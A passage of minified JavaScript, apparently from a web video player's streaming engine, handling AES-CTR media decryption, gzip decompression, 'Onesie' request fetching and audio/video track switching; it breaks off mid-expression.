As.prototype.CQ=function(x,T){for(var t=g.S(this.Hv),u=t.next();!u.done;u=t.next())if(u=u.value,u.id===x)return this.x6.UG||(this.j=[u]),this.D=this.gy.C[x],NI(this.x6)&&(this.ZZ=!0),new Dp(this.D,T?"t":"m");this.j=[];return null};
As.prototype.NK=function(x,T,t){t=t===void 0?{}:t;this.C.NK(x,T===void 0?!1:T,t)};cj.prototype.setData=function(x,T,t,u){var H=this;u=u===void 0?{}:u;if(t==null?0:t.kP)this.zR=wti(this,t,u),x.Fk=this.QA.Fk();if(this.hH())return!0;this.data=x;this.C=jQi(x,T,function(I,E){var Z;(Z=H.P9)==null||Z.Kz(I,E)},t==null?void 0:t.j);
if(!this.C)return!1;this.Z=g.pn(this.C,iHf);return!0};
cj.prototype.hH=function(){return this.requestType===1};
cj.prototype.bK=function(){var x;return((x=this.P9)==null?void 0:x.bK())||0};
cj.prototype.isDecorated=function(){var x;return!((x=this.data)==null||!x.o8)};YA.prototype.encrypt=function(x){this.OY.exports.AES128CTRCipher_encrypt(this.cipher,x.byteOffset,x.byteLength);return x};
YA.prototype.T9=function(){return this.cipher===0};
YA.prototype.dispose=function(){this.OY.exports.AES128CTRCipher_release(this.cipher);this.cipher=0};bE.prototype.encrypt=function(x,T){return q8(this.subtleCrypto.encrypt({name:"AES-CTR",length:128,counter:T},this.key,x).catch(function(t){return Promise.reject(t.name+": "+t.message)}).then(function(t){return new Uint8Array(t)}))};
bE.prototype.T9=function(){return this.C};
bE.prototype.dispose=function(){this.C=!0};
V1.EB(bE,{encrypt:Uo("oan2")});rB.prototype.encrypt=function(x,T){ms(this.Z,T);return q8(this.Z.encrypt(x))};
rB.prototype.T9=function(){return this.C};
rB.prototype.dispose=function(){this.C=!0};
V1.EB(rB,{encrypt:Uo("oap")});zI.prototype.encrypt=function(x,T){var t=this.OY.aA(T),u=this.C;u.OY.exports.AES128CTRCipher_setCounter(u.cipher,(t!=null?t:T).byteOffset);T=this.OY.aA(x);this.C.encrypt(T!=null?T:x);t&&this.OY.free(t.byteOffset);return T?q8(this.OY.Ey(T)):q8(x)};
zI.prototype.T9=function(){return this.C.T9()};
zI.prototype.dispose=function(){this.C.dispose()};
V1.EB(zI,{encrypt:Uo("oalw")});kA.prototype.encrypt=function(x,T){var t=this,u=jv("");x.length<=this.dk&&this.C&&!this.K&&(u=dI(u,function(){return t.C?t.C.encrypt(x,T):jv("wasm unavailable")}));
x.length<=this.B5&&(this.C&&this.K&&(u=dI(u,function(){return t.C?t.C.encrypt(x,T):jv("wasm unavailable")})),u=dI(u,function(){return Pmm(t,x,T)}));
return dI(dI(u,function(){return S0H(t,x,T)}),function(){return Pmm(t,x,T)})};
kA.prototype.T9=function(){return this.T};
kA.prototype.dispose=function(){this.T=!0;var x;(x=this.j)==null||mH(x,g.IP);g.IP(this.C);g.IP(this.Z)};Fa.prototype.encrypt=function(x){(0,g.bo)();return(new H_(this.C.C)).encrypt(x,this.iv)};
Fa.prototype.decrypt=function(x,T){(0,g.bo)();return(new H_(this.C.C)).decrypt(x,T)};
Fa.prototype.T9=function(){return this.j};
Fa.prototype.dispose=function(){this.j=!0;g.IP(this.Z)};g.P(hs,g.W);hs.prototype.j=function(x,T){if(T){T=T instanceof g.ct?T:vj(this,T);var t;((t=this.C.get(x))==null?void 0:UK(t.location))!==UK(T)&&this.C.set(x,new heV(T,x))}else this.C.delete(x)};
hs.prototype.load=function(){var x=this,T,t,u,H,I,E,Z,e,l,m;return g.G(function(d){switch(d.C){case 1:T=x.C.get(0);g.PX(d,2);var M;if(M=T&&!x.Z)M=UK(T.location),M=x.Z===Iw(M);if(M){d.lG(4);break}return g.v(d,GI(x,x.Z?2:0),5);case 5:if(t=d.Z)x.j(0,t),rU(t)&&x.j(1,zg(t));case 4:g.cX(d,3);break;case 2:u=g.Yq(d);g.Vh(u);if(!x.Z){d.lG(3);break}x.Z=!1;return g.v(d,x.load(),7);case 7:return d.return();case 3:if(!x.Cf.experiments.aU("html5_onesie_probe_ec_hosts")){d.lG(0);break}g.PX(d,9);H=x;I=H.j;E=3;return g.v(d,
GI(x,1),11);case 11:return I.call(H,E,d.Z),Z=x,e=Z.j,l=4,g.v(d,GI(x,2),12);case 12:e.call(Z,l,d.Z);g.cX(d,0);break;case 9:m=g.Yq(d),g.Vh(m),g.RV(d)}})};
hs.prototype.N=function(){var x=this,T,t;return g.G(function(u){g.Kt(x.J);T=g.Z9(x.Cf.experiments,"html5_onesie_prewarm_max_lact_ms");if(bH()>=T)return u.return();(t=x.C.get(0))&&kwH(x,t);g.RV(u)})};
var rF4={eGG:0,O7Z:1,Cyv:2,yrW:3,eMy:4,0:"PRIMARY",1:"SECONDARY",2:"RANDOM",3:"SENSITIVE_CONTENT",4:"C_YOUTUBE"};L0.prototype.decrypt=function(x){var T=this,t,u,H,I,E,Z;return g.G(function(e){switch(e.C){case 1:if(T.C.length&&!T.C[0].isEncrypted)return e.return();T.Z=!0;T.b3.lI("omd_s");t=new Uint8Array(16);Ad()?u=new $3(x):H=new H_(x);case 2:if(!T.C.length||!T.C[0].isEncrypted){e.lG(4);break}I=T.C.shift();if(!u){E=H.decrypt(I.buffer.QX(),t);e.lG(5);break}return g.v(e,u.decrypt(I.buffer.QX(),t),6);case 6:E=e.Z;case 5:Z=E;for(var l=0;l<t.length;l++)if(t[l]===255)t[l]=0;else{t[l]+=1;break}l=T.b3;var m=I.videoId,
d=I.Gi,M=I.formatId,A=new mi([Z]),R;(R=n0(l.Dk,m))==null||kV(R,d,M,A);e.lG(2);break;case 4:T.b3.lI("omd_c"),aD(T),T.Z=!1,T.b3.sy(),g.RV(e)}})};
L0.prototype.enqueue=function(x,T,t,u,H){this.C.push({videoId:x,Gi:T,formatId:t,buffer:u,isEncrypted:H});this.Z||aD(this)};var g3m=!!Uint8Array.prototype.copyWithin,gB=[],Bj=[],v3f=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],DO=[],Wj=[],Nd=[],yz=[];Qz.prototype.GA=function(x){return g.am5(new g.Js(x))};
Qz.prototype.AS=function(x){function T(E){if(!E.done)return I.append(E.value),H.read().then(function(Z){return T(Z)})}
if(!("DecompressionStream"in window))return jv("native decompression unavailable");var t=new DecompressionStream("gzip"),u=t.writable.getWriter();u.write(x).then(function(){return u.close()});
var H=t.readable.getReader(),I=new mi([]);return dI(mH(mH(q8(H.read()),T),function(){return I.QX()}),function(E){return jv(E.message)})};
Qz.prototype.wO=function(x,T){var t=void 0,u=T.aA(x);u&&(t=u.byteOffset,x=u);u=T.exports.getInflatedSize(x.byteOffset,x.length);if(u===0)return jv("bad compressed input");var H=T.malloc(u);if(T.exports.inflateGzip(x.byteOffset,x.length,H))return T.free(H),jv("inflateGzip failed");t&&T.free(t);return q8(new Uint8Array(T.exports.memory.buffer,H,u))};
V1.EB(Qz,{GA:function(x){return{profile:"gzjb",Ar:Math.ceil(x.byteLength/16)}},
AS:function(x){return{profile:"gznb",Ar:Math.ceil(x.byteLength/16)}},
wO:function(x){return{profile:"gzwb",Ar:Math.ceil(x.byteLength/16)}}});g.P(JFX,P6);g.q=JFX.prototype;g.q.sy=function(){this.Dk.sy()};
g.q.rY=function(x,T){switch(x){case 10:var t=B5(T,mA3);x=t.MVW;var u=!1;switch(x){case 0:this.j=!t.xU.VYG;this.iv=t.xU.iv;break;case 2:break;case 23:var H=this.Dk;t=t.DJm;H.lI("omp_r");t.videoId&&(H.kO=t.videoId);H.kO!==H.videoData.videoId&&(H.videoData.yV=H.kO,H.kc("ompp","vid."+H.kO));H.YN=!0;break;case 24:t=this.Dk;t.lI("omp_c");t.YN=!1;t.CI=!1;var I=(H=t.O0)==null?void 0:H.get(t.kO);t.notifySubscribers(t.kO);I!=null&&(I.C=!0);f0(t);break;default:u=!0}this.Dk.Ay&&this.Dk.kc("ombup","id.10;pt."+
x+";len."+T.getLength()+(u?";ignored.1":""));this.K=x;break;case 11:p_5(this,T);break;case 12:this.wY(T,!0);break;case 37:T=B5(T,dAD);(T.rC||T.f3)&&T.videoId&&this.Dk.hY.set(T.videoId,T);break;case 60:this.NT(T);break;case 47:this.B("html5_server_playback_start_policy")&&(T=B5(T,PB3),this.Dk.playbackStartPolicy=T);break;case 35:this.K$(T);break;case 45:this.oC(T);break;case 66:this.JH(T);break;default:this.Dk.Ay&&this.Dk.kc("ombup","id."+x+";len."+T.getLength()+";ignored.1")}};
g.q.WY=function(x){this.Dk.WY(x)};
g.q.NT=function(x){x=B5(x,Tg);this.Dk.NT(x)};
g.q.oC=function(x){x=B5(x,or);this.Dk.oC(x)};
g.q.VE=function(x){var T=x.Gi,t=x.Kt,u=x.Rw,H=x.a4,I=x.rR,E=x.startMs,Z=x.durationMs,e=x.timeRange,l=x.zT,m=bz(x),d=aSb.has(Nu[""+x.itag]);t&&this.lI(d?"oais_r":"ovis_r");var M=this.C[m]!==void 0;this.Dk.Ay&&this.Dk.kc("ombup","id.20;hid."+T+";fid."+m);var A=x.videoId||"";this.Z[T]=m;this.T[T]=A;M||(this.C[m]={videoId:A,UE:!1,iD:d,headers:[]});this.C[m].headers.push(x);this.Dk.ij(A,m,d,{Gi:T,Kt:!!t,Rw:u!=null?u:-1,rR:I!=null?I:-1,startMs:E!=null?E:-1,durationMs:Z!=null?Z:-1,zT:l!=null?l:0,a4:H,timeRange:e})};
g.q.wY=function(x,T){var t=x.getUint8(0);this.Dk.Ay&&this.Dk.kc("ombup","id."+(T?12:21)+";len."+x.getLength()+";hid."+t);if(x.getLength()!==1){x=x.split(1).kG;var u=this.Z[t]||null,H=this.T[t]||"";u&&(this.T7(this.C[u].iD?"oafs_r":"ovfs_r"),this.queue.enqueue(H,t,u,x,T))}};
g.q.jl=function(x){var T=x.getUint8(0);this.Dk.Ay&&this.Dk.kc("ombup","id.22;len."+x.getLength()+";hid."+T);x=this.Z[T]||null;var t=this.T[T]||"";if(x)if(this.B("html5_use_ump_request_slicer")){var u=this.queue;u.C.push({videoId:t,Gi:T,formatId:x,isEncrypted:!1,oz:!0});u.Z||aD(u)}else this.Dk.jl(t,T,x)};
g.q.iF=function(x){this.Dk.iF(x)};
g.q.dT=function(x,T){var t=this,u,H,I,E,Z,e,l,m,d,M;return g.G(function(A){switch(A.C){case 1:t.Dk.dT();u=x.QX();if(!T){I=u;A.lG(2);break}return g.v(A,u4i(t.Dk,u,t.iv),3);case 3:I=A.Z;case 2:H=I;if(!t.Dk.enableCompression){A.lG(4);break}Z=(E=performance)==null?void 0:E.now();return g.v(A,Bs4(H),5);case 5:H=A.Z,t.Dk.kc("decompression",{ds:"DecompressionStream"in window,rt:((e=performance)==null?NaN:e.now())-Z});case 4:try{l=B5(H,omv)}catch(R){return m=R instanceof Error?{name:R.name,message:R.message}:
{},m.webcrypto=""+ +!!Ad(),m.enc=""+ +t.j,d=new r4("onesie.response.parse",m),A.return(Promise.reject(d))}Nsi(l);M=g.U6(l.body);return A.return(M)}})};
g.q.K$=function(x){this.B("html5_consume_onesie_next_request_policy_for_sabr")&&(x=B5(x,Ae4),this.Dk.K$(x))};
g.q.JH=function(x){x={Q7:nn(new kg(x),1,YuD)};this.Dk.JH(x)};
g.q.lI=function(x){this.Dk.lI(x)};
g.q.T7=function(x){return this.Dk.T7(x)};
g.q.B=function(x){return this.Dk.B(x)};g.P(Oo,g.W);g.q=Oo.prototype;g.q.rj=function(){return""};
g.q.j_=function(x){var T,t;return((t=(T=this.O0)==null?void 0:T.get(x))==null?void 0:t.j_())||[]};
g.q.kK=function(x,T){var t;return!((t=n0(this,T))==null||!t.kK(x))};
g.q.Ca=function(x,T){var t;return((t=n0(this,T))==null?void 0:t.Ca(x))||[]};
g.q.gs=function(x,T){var t;return((t=n0(this,T))==null?void 0:t.gs(x))||[]};
g.q.vk=function(x){this.state=x;this.notifySubscribers()};
g.q.hH=function(){return!1};
g.q.cT=function(){return!1};
g.q.I6=function(){};
g.q.lI=function(x){this.Em.lI(x)};
g.q.T7=function(x){return this.Em.T7(x)};
g.q.YZ=function(x,T,t,u){t||this.Ht.YZ(u);return!1};
g.q.CH=function(x,T){this.b3.CH(x,T)};
g.q.f0=function(){this.lI("orfb");this.JO=!0;if($E4(this)&&this.xhr){var x={rc:this.xhr.status,lb:this.xhr.R3(),rt:(1E3*JX3(this.Ht)).toFixed(),shost:g.nq(this.oS),trigger:"o1"};this.kc("pathprobe",bF(x))}};
g.q.dT=function(){this.lI("opr_r");this.Qm=!0};
g.q.ij=function(x,T,t,u){if(this.O0){if(!this.O0.has(x)){var H=new c6(this);this.O0.set(x,H);g.y(this,H)}var I;(I=this.O0.get(x))==null||I.ij(T,t,u);f0(this);t||(this.QL=u.rR,this.Le=u.startMs)}else f0(this)};
g.q.WY=function(x){this.Oj=x;x.ji!=null&&this.Em.Gu(x.ji)};
g.q.NT=function(x){this.D_=x};
g.q.K$=function(x){x.videoId&&this.XP.set(x.videoId,x)};
g.q.sy=function(){if(this.O0)for(var x=g.S(this.O0.keys()),T=x.next();!T.done;T=x.next()){var t=void 0;(t=this.O0.get(T.value))==null||t.eE()}};
g.q.oC=function(x){this.SC=x};
g.q.JH=function(x){if(x==null?0:x.Q7)if(x=x.Q7.TQ){x=g.S(x);for(var T=x.next();!T.done;T=x.next())T=T.value,T.videoId&&this.GO.set(T.videoId,T)}};
g.q.kc=function(x,T,t){this.Em.kc(x,T,t===void 0?!1:t)};
g.q.jl=function(x,T,t){var u;(u=n0(this,x))==null||u.jl(T,t)};
g.q.iF=function(x){this.s5.set(x.videoId,x)};
g.q.fetch=function(){var x=this,T,t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D;return g.G(function(f){switch(f.C){case 1:x.logger.debug("Onesie fetch started.");x.vy?x.wM.start():x.TK.start();x.lI("or_i");T=x.Cf.experiments.aU("html5_onesie_verbose_timing");t={};u=(0,g.bo)();H=function(O){T&&(t[O]=(0,g.bo)()-u)};
H("loc_s");if(I=fm3(x.videoData,x.Yo)){f.lG(2);break}H("loc_async");E=g.Z9(x.Cf.experiments,"html5_onesie_redirector_timeout_ms");return g.v(f,w_v(x.videoData,x.Yo,E),3);case 3:I=f.Z;case 2:if(!I)return x.logger.info("Onesie URL creation failed."),Z={url:"0"},e=new r4("onesie.unavailable.hotconfig",Z),x.Zw(e),f.return(x.f$);x.zR=UK(I);H("loc_e");l=g.sP(x.Cf,g.Cm(x.videoData));m=!!l.C;if(!m){d=l.getValue();f.lG(4);break}return g.v(f,l.C,5);case 5:d=f.Z;case 4:M=d;x.B("html5_log_onesie_empty_oauth")&&
!M&&x.kc("no_token",{async:m});H("oauth");A=X_3(x.playerRequest,x.Cf,x.videoData,M,Iw(x.zR));g.PX(f,6);if(!sXH(x,A)){H("or_s_sync");x.OW=T0m(A,x.kM,x.Cf,x.Em,x.uK.onesieUstreamerConfig,(R=x.videoData.dJ)==null?void 0:R.VT);f.lG(8);break}H("or_s_async");return g.v(f,tOX(A,x.kM,x.Cf,x.Em,x.uK.onesieUstreamerConfig,(Y=x.videoData.dJ)==null?void 0:Y.VT),9);case 9:x.OW=f.Z;case 8:g.cX(f,7);break;case 6:return b=g.Yq(f),x.logger.info("Failed to create OnesieRequestProto."),x.Zw(b),f.return(x.f$);case 7:return H("or_e"),
T&&x.kc("oreqvt",t),x.enableCompression=x.OW.Kj.rX,x.lI("osor"),z=WjX(),F=g.pn(x.OW,a95),V={method:"POST",body:F,headers:{"Content-Type":"text/plain",Referer:location.origin}},B=x.B("html5_onesie_media_capabilities"),KIC(I,x.videoData,iB3(x),B),x.logger.debug("Starting Onesie network request."),x.Ay&&x.kc("ombrs","1"),D=x.Em.Y().schedule,x.Ht=new Oz(x,{xP:D,qG:x.Ay,Ke:function(O,sH){x.Em.J4(O,sH)},
sC:!0}),I.set("rn",""+x.Ht.requestNumber),x.oS=I.sY(),ph(x.Ht,x.oS),x.lI("or_p"),x.xhr=ow(new mg(I),z,x.Ht,KY,V),x.Wd.start(),f.return(x.f$)}})};
g.q.Qv=function(){return 2};
g.q.Eu=function(){this.lI("orh_r")};
g.q.tH=function(){!this.JO&&this.xhr.R3()&&this.f0();if(this.jE&&!this.vy){var x;(x=this.l5)==null||x.start()}this.GM()};
g.q.yT=function(x){x=x===void 0?!1:x;this.logger.debug("onXhrDone");this.GM();if(!(this.T9()||this.state>=4)){var T=p0(this),t=this.xhr;T.rc=t.status;x&&(T.ab=!0);if(t.HU()){var u="onesie.net";T.msg=t.HU()}else t.status>=400?u="onesie.net.badstatus":t.gw()?this.Qm||(u="onesie.response.noplayerresponse"):u=t.status===204?"onesie.net.nocontent":"onesie.net.connect";u?this.Zw(new r4(u,T)):(this.lI("or_fs"),this.Ht.K0((0,g.bo)(),t.R3(),0),this.vk(4),this.Ay&&this.kc("rqs",T));this.Ay&&this.kc("ombre",
"ok."+ +!u);this.CI=!1;f0(this);Cmf(this.b3);if(!this.vy){this.TK.stop();var H;(H=this.l5)==null||H.stop()}var I;if(x=(I=this.Yo)==null?void 0:FIC(I))for(I=0;I<x.length;I++)this.kc("pathprobe",x[I])}};
g.q.Eq=function(){if(this.playerResponse&&this.xhr&&this.O0)for(var x=g.S(this.O0.entries()),T=x.next();!T.done;T=x.next())if(T=g.S(T.value),T.next(),T.next().value.Z){this.xhr.abort();this.yT(!0);break}};
g.q.Y=function(){return this.Cf};
g.q.B=function(x){return this.Cf.B(x)};
g.q.yMu=function(){if($E4(this)&&this.Yo&&(!this.JO||this.B("html5_onesie_probe_ec_hosts"))){var x=this.Yo;if(x.Cf.experiments.aU("html5_onesie_probe_ec_hosts")){var T,t=(T=x.C.get(3))==null?void 0:UK(T.location);t&&Vz(x,t,"osc",this);var u;(t=(u=x.C.get(4))==null?void 0:UK(u.location))&&Vz(x,t,"ocy",this)}else{var H;(u=(H=x.C.get(1))==null?void 0:UK(H.location))&&Vz(x,u,"o2",this);(u=(t=x.C.get(2))==null?void 0:UK(t.location))&&Vz(x,u,"o3",this)}}};
g.q.F5=function(){if(!this.T9()&&!this.isComplete()){if(this.jE){if((0,g.bo)()-this.Ht.N>1E3){var x;(x=this.Ht)==null||x.tD((0,g.bo)());x=p0(this);if(this.Cf.AM()&&this.xhr instanceof xV){var T=this.xhr;x.xrs=T.xhr.readyState;x.xpb=T.C.getLength();x.xdc=T.K}this.Zw(new r4("net.timeout",x))}}else(0,g.bo)()-this.Ht.C>1E4&&((T=this.Ht)==null||T.tD((0,g.bo)()),this.V_());this.isComplete()||this.wM.start()}};
g.q.V_=function(){this.logger.info("Onesie request timed out");this.CI=!1;if(!f0(this)){var x=p0(this);x.timeout="1";this.Zw(new r4("onesie.request",x))}};
g.q.Zw=function(x){var T=this;x=kX(x);this.jE?this.Em.XD(x):(this.f$.reject(x),this.jE=!0);Cmf(this.b3);this.vy||this.TK.stop();this.lI("or_fe");var t,u;(t=this.Yo)==null||(u=FIC(t))==null||u.forEach(function(H){T.kc("pathprobe",H)});
this.vk(5);this.dispose()};
g.q.isComplete=function(){return this.state>=3};
g.q.Ej=function(){return this.state===4};
g.q.tG=function(x){var T,t;return this.isComplete()||!!((T=this.O0)==null?0:(t=T.get(x))==null?0:t.C)};
g.q.Cg=function(){return!1};
g.q.sG=function(){return this.state===5};
g.q.notifySubscribers=function(x){for(var T=0;T<this.FH.length;T++)x&&this.FH[T].AR()!==x||o1(this.FH[T],this)};
g.q.eA=function(){var x,T;return((x=this.OW)==null?void 0:(T=x.E_)==null?void 0:T.RS)||0};
g.q.oU=function(){this.playerResponse="";var x;(x=this.xhr)==null||x.abort();Cmf(this.b3);this.jf.dispose();var T;(T=this.l5)==null||T.dispose();this.vk(-1);this.FH=[];g.W.prototype.oU.call(this)};
g.q.GM=function(){try{var x=this.xhr;x.R3()>102400&&!this.aP&&(this.lI("or100k"),this.aP=!0);if(x.wi()){var T=x.bL(),t=T.getLength();this.logger.debug(function(){return"handleAvailableSlices: slice length "+t});
this.Ay&&this.kc("ombrss","len."+t);this.jf.feed(T)}if(this.O0)for(var u=g.S(this.O0.keys()),H=u.next();!H.done;H=u.next()){var I=H.value;x=void 0;(x=this.O0.get(I))==null||x.eE();this.notifySubscribers(I)}}catch(E){this.Zw(E)}};
g.q.Bw=function(){return this.Ht.requestNumber};
g.q.OS=function(x){return this.s5.get(x)};
g.q.WP=function(){return{QL:this.QL,Le:this.Le,isDecorated:!1}};g.P(Ecv,g.W);g.q=Ecv.prototype;g.q.jc=function(x,T){this.jY=void 0;FJH(this);rjJ(this,x,T)};
g.q.l2=function(x){if(this.C.length===0)return!1;var T=this.C[0];return T instanceof Oo?x===this.Kf.getCurrentTime()*1E3:!(T instanceof FZ&&m_f(T.info))&&Math.abs(T.eA()-x)<50};
g.q.K$=function(x){this.Z=x;this.jY=(0,g.bo)()+(x.backoffTimeMs||0)};
g.q.OD=function(x,T){if(x.action===void 0){var t=this.Em.j$();t!==void 0&&this.Kf.Gp(t)}else if(x.action!==0||!this.G9)switch(x.action===0&&this.policy.zw&&(x.action=2),t={},t.reason=x.SiW,t.action=x.action,t.rn=T,x.action){case 1:this.policy.T&&this.K&&this.K.Uh(void 0,void 0,t);break;case 0:this.G9=!0;this.videoData.Ty()&&this.policy.T&&this.K&&this.K.Uh(void 0,void 0,t,!1);this.Kf.Ir(t);break;case 2:this.Kf.handleError("sabr.config",t,1);break;case 5:oMD(this.Em,!0);break;case 6:oMD(this.Em,!1);
break;case 3:this.policy.kP&&((x=this.gy.J)!=null&&(x.J=!0),this.Kf.handleError("sabr.hostfallback",t))}};
g.q.Zc=function(x,T,t,u){if(this.policy.Z){this.Kf.kc("ssap",{rn:u,v:T,tl:vc3(x)});var H=this.Kf.vS();x={Yq:x,context:t,version:T};zWC(this,t);H?k8f(this,H,x):(this.Kf.kc("ssap",{cacheclips:1,rn:u,v:T}),this.J=x)}};
g.q.lL=function(x){this.Kf.kc("ssap",{onsbrctxt:x.type,dflt:x.sendByDefault});zWC(this,x);this.Em.lL(x)};
g.q.Hp=function(){};
g.q.oC=function(x){if(x.Za!==void 0&&x.jj){var T=x.Za/x.jj;this.audioTrack.N=!1;this.videoTrack.N=!1;if(this.policy.jY||this.policy.GC||this.policy.pT)this.Kf.iq.Z=!1;this.Kf.KT(T,1);if(this.Em.getCurrentTime()!==T){var t={wp:"sabr_seek",fN:!0,Gl:!0};x.seekSource&&(t.seekSource=x.seekSource);Ny(this.Kf,T+.1,t)}}};
g.q.onSnackbarMessage=function(x){this.Em.publish("onSnackbarMessage",x)};
g.q.WY=function(x){x.Uv&&x.fv&&U4(this.gy,x.Uv,x.fv);this.policy.un&&(x.pg&&x.eQ&&(this.gy.U$=x.pg/x.eQ),x.BN&&x.cN&&(this.gy.jb=x.BN/x.cN));x.ji!=null&&this.Em.Gu(x.ji);this.policy.Yn&&x.Bu&&(x=((0,g.bo)()-x.Bu)/1E3,this.Kf.tb.SF(1,x))};
g.q.bj=function(x){this.Kf.bj(x)};
g.q.lT=function(x,T,t){this.policy.j&&this.Kf.kc("sabrctxtplc",{start:x?x.join("_"):"",stop:T?T.join("_"):"",discard:t?t.join("_"):""});if(x){x=g.S(x);for(var u=x.next();!u.done;u=x.next())this.Tt.add(u.value)}if(T)for(T=g.S(T),x=T.next();!x.done;x=T.next())x=x.value,this.Tt.has(x)&&this.Tt.delete(x);if(t)for(t=g.S(t),T=t.next();!T.done;T=t.next())T=T.value,this.videoData.sabrContextUpdates.has(T)&&(this.videoData.sabrContextUpdates.delete(T),T===3&&(this.videoData.lH=""))};
g.q.I2=function(){};
g.q.PQ=function(x){this.D=x};
g.q.KQ=function(x){this.QU=x};
g.q.yy=function(x,T){JJ(this.policy,x,4,T)};
g.q.JH=function(x){if(x==null?0:x.Q7)if(x=x.Q7.TQ){x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(T=T.value,T.formatId){var t=this.gy.j.get(bz(T.formatId));t&&t.info&&(t.info.debugInfo=T.debugInfo)}}};
g.q.Pp=function(x){(x=x==null?void 0:x.reloadPlaybackParams)&&this.Em.publish("reloadplayer",x)};
g.q.AR=function(){return this.Em.AR()||""};
g.q.bK=function(){var x=F_(this.audioTrack,!0)*1E3,T=F_(this.videoTrack,!0)*1E3;return Math.min(x,T)};
g.q.Kz=function(x,T){this.Kf.kc(x,T)};
g.q.k5=function(x){x$X(this.Kf,r7D(this.mu,x))};
g.q.oU=function(){g.W.prototype.oU.call(this);this.Z=void 0;rjJ(this,!0,"i");this.C=[]};G8D.prototype.NI=function(x,T){if(this.K)return B0J(this,T);if(T=JU(x)){var t=T.Z;t&&t.j&&t.C&&(x=x.j.length?x.j[0]:null)&&x.state>=2&&!x.sG()&&x.info.IT===0&&(this.K=x,this.N=t,this.Z=T.info,this.D=this.startTimeSecs=Date.now()/1E3,this.T=this.Z.startTime)}return NaN};
G8D.prototype.clear=function(){this.Z=this.N=this.K=null;this.C=this.T=this.D=this.startTimeSecs=NaN;this.j=!1};g.P(g.Hr,g.W);g.q=g.Hr.prototype;g.q.initialize=function(x,T,t){this.logger.debug(function(){return"Initialized, t="+x});
x=x||0;this.policy.C||(T=krX(this.C),tVv(this.Em,new Dp(T.video,T.reason)),this.Em.H1(new Dp(T.audio,T.reason)));this.gy.isManifestless&&x_V(this.T);this.N&&ncJ(this.N,this.videoTrack.C);T=isNaN(this.getCurrentTime())?0:this.getCurrentTime();var u=!this.gy.isManifestless;this.policy.O6&&(u=u||this.gy.qI);this.policy.Om||(this.currentTime=u?x:T);this.policy.jY&&this.seek(this.getCurrentTime(),{}).p_(function(){});
if(this.policy.C){var H;((H=this.ZZ)==null?0:IGH(H,this.AR()||""))&&Jjq(this)&&N03(this,this.videoTrack)&&N03(this,this.audioTrack)&&(hWi(this.j,this.ZZ),this.policy.D&&yjJ(this))}else this.jY&&(CqD(this,this.videoTrack),CqD(this,this.audioTrack),yv3(this.jY),delete this.jY);t?(this.policy.zc?(this.hM=t,I1(this,t)):I1(this,!1),g.Kt(this.cJ)):(t=this.getCurrentTime()===0,f9(this.T,this.videoTrack,this.videoTrack.C,t),f9(this.T,this.audioTrack,this.audioTrack.C,t),this.policy.C&&jXV(this.j,!0),this.policy.jY||
this.seek(this.getCurrentTime(),{}).p_(function(){}),this.timing.tick("gv"));
(this.gy.Q9||this.gy.ll||this.gy.QU||this.gy.kP||this.gy.rp)&&this.Em.YD(this.gy)};
g.q.resume=function(){if(this.isSuspended||this.rG){this.logger.debug("Resumed.");this.fS=this.rG=this.isSuspended=!1;try{this.NI()}catch(x){g.vW(x)}}};
g.q.Z_=function(){return!this.policy.hM};
g.q.Pg=function(x,T){x=x===void 0?!1:x;T=T===void 0?!1:T;this.logger.debug("detaching media source");fG3(this);this.Em.WE()&&(this.D=NaN);x?(this.logger.debug("enable updateMetadataWithoutMediaSource"),this.policy.hQ&&this.kc("loader",{setsmb:1}),this.policy.Hv=!0,this.CU()):(this.policy.zc?I1(this,this.hM):I1(this,!1),T||this.CU())};
g.q.setAudioTrack=function(x,T,t){t=t===void 0?!1:t;if(!this.T9()){var u=!isNaN(T);t&&u&&(this.audioTrack.jY=Date.now(),this.policy.F3&&(this.tQ=!0));if(this.policy.C){var H=this.Z.CQ(x.id,u);this.logger.debug(function(){return"Logging new audio format: "+H.C.info.id});
this.Em.H1(H)}else{var I=bX4(this.C,x.id,u);this.logger.debug(function(){return"Logging new audio format: "+I.audio.info.id});
this.Em.H1(new Dp(I.audio,I.reason))}if(u&&(t=this.audioTrack.C.index.tp(T),this.kc("setAudio",{id:x.id,cmt:T,sq:t}),t>=0)){this.policy.C&&(this.Z.J=!0,this.jc(!0,"mosaic"));hJ(this.audioTrack,t,NaN,NaN);!this.policy.qz&&this.gy.isLive&&Y8(this.gy,t,!1);return}this.Em.h8()}};
g.q.setPlaybackRate=function(x){x!==this.S.getPlaybackRate()&&this.S.setPlaybackRate(x)};
g.q.Hy=function(x){var T=this.j.D;this.j.PQ(x);this.kc("scfidc",{curr:bz(T),"new":bz(x)});x&&bz(x)!==bz(T)&&(this.jc(!1,"caption change"),this.NI())};
g.q.Up=function(x){this.j.KQ(x)};
g.q.CD=function(x){var T=x.C.info.iD();this.logger.debug(function(){return"New "+(T?"audio":"video")+" format from SABR: "+uK(x.C.info)});
T?this.Em.H1(x):tVv(this.Em,x)};
g.q.k5=function(x){Gr(x.iG[x.iG.length-1])&&x$X(this,r7D(this.C,x.iG[0].C))};
g.q.nT=function(){return this.Em.nT()};
g.q.Lv=function(){return this.Em.Lv()};
g.q.bj=function(x){this.Em.Y().AM()&&this.kc("sps",{status:x.MY||""});if(x.MY===1)this.Em.videoData.EA=0;else if(x.MY===2||x.MY===3){var T=!1;if(x.MY===3){T=this.Em.uj();var t;this.L2=(t=x.ZCm)!=null?t:Infinity;this.Em.videoData.EA=T+1;(T=xA(this))&&this.Ae(!0)}this.Em.i$(!0,T)}};
g.q.cg=function(){return this.Em.cg()};
g.q.B_=function(){return this.Em.B_()};
g.q.KE=function(x){this.Em.KE(x)};
g.q.wSY=function(){var x,T=(x=this.Em.Bt())==null?void 0:x.getCurrentTime();T?this.Em.kc("rms",{cta:T}):g.Kt(this.kP)};
g.q.NI=function(){XKq(this);if(this.FW&&Q5(this.FW)&&!this.FW.RF()&&(!this.policy.Om||isFinite(this.getCurrentTime()))){var x=SN(this.videoTrack);x=this.policy.l0&&x&&x.FQ();this.gy.isManifestless&&this.gy.K&&R$(this.gy)?(this.D=R$(this.gy),this.FW.IC(this.D)):bQ(this.gy)&&!x?isNaN(this.D)?(this.D=this.getCurrentTime()+3600,this.FW.IC(this.D)):this.D<=this.getCurrentTime()+1800&&(this.D=Math.max(this.D+1800,this.getCurrentTime()+3600),this.FW.IC(this.D)):this.FW.isView||(x=Math.max(this.audioTrack.getDuration(),
